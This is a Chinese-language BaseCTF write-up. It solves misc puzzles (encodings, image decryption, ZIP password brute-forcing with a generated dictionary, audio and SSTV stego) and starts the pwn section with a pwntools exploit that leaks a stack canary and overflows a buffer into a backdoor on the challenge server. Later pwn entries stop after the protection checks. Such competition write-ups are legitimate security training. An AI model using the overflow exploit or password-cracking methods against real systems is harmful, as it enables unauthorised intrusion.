Misc
Base revenge
将hint拿去随波逐流,发现hint的为Atbash编码
上面的为Base64隐写,得到密文
JnUaAFMFImgANSEuAWYuBE9SyaYpC2ldBrU9
Atbash解码再Base64解码得到flag
JnUaAFMFImgANSEuAWYuBE9SyaYpC2ldBrU9 --->Atbash
QmFzZUNURntZMHVfZDBfYV9HbzBkX2owYiF9 --->Atbash
BaseCTF{Y0u_d0_a_Go0d_j0b!}
白丝上的flag
图片解密,需要写出解密代码。
在写代码的过程中,求余逆部分有些陌生,这里单独提出来说一下
iv = (b+c+d+iv) % 256
这里我们把第一个iv看作A,b+c+d看作B,第二个iv看作C,式子可化为。
A = (B + C) % 256
已知B和A需要求C。
因为ABC都是正整数,所以B+C = A+ 256*n 其中A需要小于256(满足条件)
C = A - B + 256*n
因为 C,也就是原先的第二个iv是由256取余后得到的,所以肯定是小于256的,同时对两边取余
C = C %256 =(A - B + 256*n)%256
C = (A - B)%256
所以原式可化为
iv = (iv - (b+c+d))%256
同理
h = (a+b+c+d+iv) % 256
已知iv和bcdh求a,可化为
a = (h - (b+c+d+iv)) % 256
from PIL import Image
from random import randint
import sys
def reez_add(e,f,g,h):
global iv
iv = (iv - (e+f+g))%256
b =e
c =f
d =g
a = (h - (b+c+d+iv)) % 256
return a,b,c,d
def reconfuse(data):
r,g,b,a = data
for _ in range(8):
r,g,b,a = reez_add(r,g,b,a)
return r,g,b,a
def reconfuse_image(img):
global iv
iv = img.getpixel((1,1))[0]
flag = Image.new('RGBA', (img.width, img.height))
for w in range(flag.width):
for h in range(flag.height):
flag.putpixel((w, h), reconfuse(img.getpixel((w,h))))
return flag
def confuse(data):
r,g,b,a = data
for _ in range(8):
r,g,b,a = reez_add(r,g,b,a)
return r,g,b,a
img = Image.open("en_image.png")
compare =Image.open("image.png")
for i in range(256):
iv=i
if reconfuse(img.getpixel((img.width-1,img.height-1))) == compare.getpixel((img.width-1,img.height-1)):
print(f'iv={i} is right')
iv=i
break
flag = reconfuse_image(img)
try:
flag.save(f"iv{i}-flag.png")
print(f"iv={i} flag.png has finished!")
except Exception as e:
print(f"wrong: {e}")
将解密的图片放置在stegsolve中查看,得到flag
那张⽩丝照⽚其实是写⼊flag前的图⽚ ,那我们可以把⽩丝照⽚也进⾏上述加密,然后和 en_image 进⾏双图异或,从⽽得到写⼊的 flag。
BaseCTF{there_is_the_flag@}
这是一个压缩包
压缩包注释中有base字符串,解码得到信息
QmFzZUNURj8/Pz8/P0ZUQ2VzYUI= --base64
BaseCTF??????FTCesaB
进行掩码爆破,得到压缩包密码
BaseCTF_h11h_FTCesaB
直接进行掩码爆破可能需要大量时间,这里观察密码格式发现是对称形,也生成字典进行解密。
lowercase = 'abcdefghijklmnopqrstuvwxyz'
uppercase = lowercase.upper()
digits = '0123456789'
symbols = '!@#$%^&*()-_=+'
ls = lowercase + uppercase + digits + symbols
with open('passwd.txt','w') as f:
for a in ls:
for b in ls:
for c in ls:
password = 'BaseCTF' + a + b + c + c + b + a + 'FTCesaB'
f.write(password+'\n')
解压得到flag
BaseCTF{a7da6763-5013-4963-9c23-8fb3d049bdce}
纯鹿人
再word文档中找到base字符串,解码得到密码
cGFzc3dvcmTvvJppa3VuaWt1bg== --->base64
passwordï¼ikunikun
010搜索flag发现一个带有flag.txt的单独压缩包,提取,并使用密码解压,得到flag
BaseCTF{d176adc7-5919-4a0c-9556-0301fc4d9c35}
broken.mp4
题目灵感应该来自W4terCTF2024
使用 untrunc 软件,以录制1.mp4为 reference file,以录制3.mp4为 truncate file,生成第二个视频的修复视频,在视频的最后就可以获得 flag
BaseCTF{x1a_Ci_1_DIn9_y0Ng_MKV}
外星信号
外星录音是摩斯密码,找一个音频解密器进行解码
THERE-IS-NO-FLAG-HERE-THERE-IS-NO-FLAG-HERE-THERE-IS-NO-FLAG-HERE-LET-US-GOBASECTF#2EBE6FDC-60DC-
但是播放时发现中途断掉了,打开010搜索flag,存在一个flag.mp3的文件。这里要用binwalk进行分离,解压后得到另一个音频,查看是SSTV,mp3开头是无意义的摩斯密码,所以我们将后面的部分进行无线电解码
将图片中的摩斯密码解码,得到后半段flag
....- ----. .- ....- -....- .- ----. ----. ..--- -....- ...-- -... -... -.. ..... -.... ..-. ...-- ..-. -.. ----- -... ----.- --->morse
49A4-A992-3BBD56F3FD0B
综上所述,根据题目描述要求,得到flag
BaseCTF{2ebe6fdc-60dc-49a4-a992-3bbd56f3fd0b}
我要吃火腿!
先将txt中的密文进行兽音译者解码,得到异或的代码
def xor_with_ham(input_file, output_file):
ham_bytes = [0x48, 0x61, 0x6D]
with open(input_file, 'rb') as f:
data = bytearray(f.read())
for i in range(len(data)):
data[i] ^= ham_bytes[i % 3]
with open(output_file, 'wb') as f:
f.write(data)
xor_with_ham('Hamorl.jpg', 'Ham.jpg')
代码里能够得到xor,在Cyber里进行异或得到jpg
jpg末尾存在wav文件,提取后发现是SSTV,解密得到flag
BaseCTF{SSTV_Happpy!}
Pwn
你为什么不让我溢出
检查保护,开了代码执行保护和Canary
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
存在后门函数,主函数中的循环会循环两次,进行read和put。这里的想法是通过第一次循环获取到Canary的值,第二次溢出到后门函数地址
from pwn import*
context.arch="amd64"
io=remote("challenge.basectf.fun",28509)
# io=process("1")
# gdb.attach(io,"b *0x401247")
# pause()
offset=0x70
bin_sh_add=0x4011BB
io.send(b'a'*(offset-8+1))
io.recvuntil(b'a'*(offset-8+1))
canary = u64(b'\00' + io.recv(7))
print(hex(canary))
payload=b'a'*(offset-8)+p64(canary)+b'a'*8+p64(bin_sh_add)
io.send(payload)
io.interactive()
# BaseCTF{5c548b7e-8e81-46f0-9943-eff0f8bd0663}
format_string_level2
检查保护,只开了代码执行保护
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
PIE
检查保护,只有Canary没开
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
检查主函数,发现栈溢出漏洞,未发现后门函数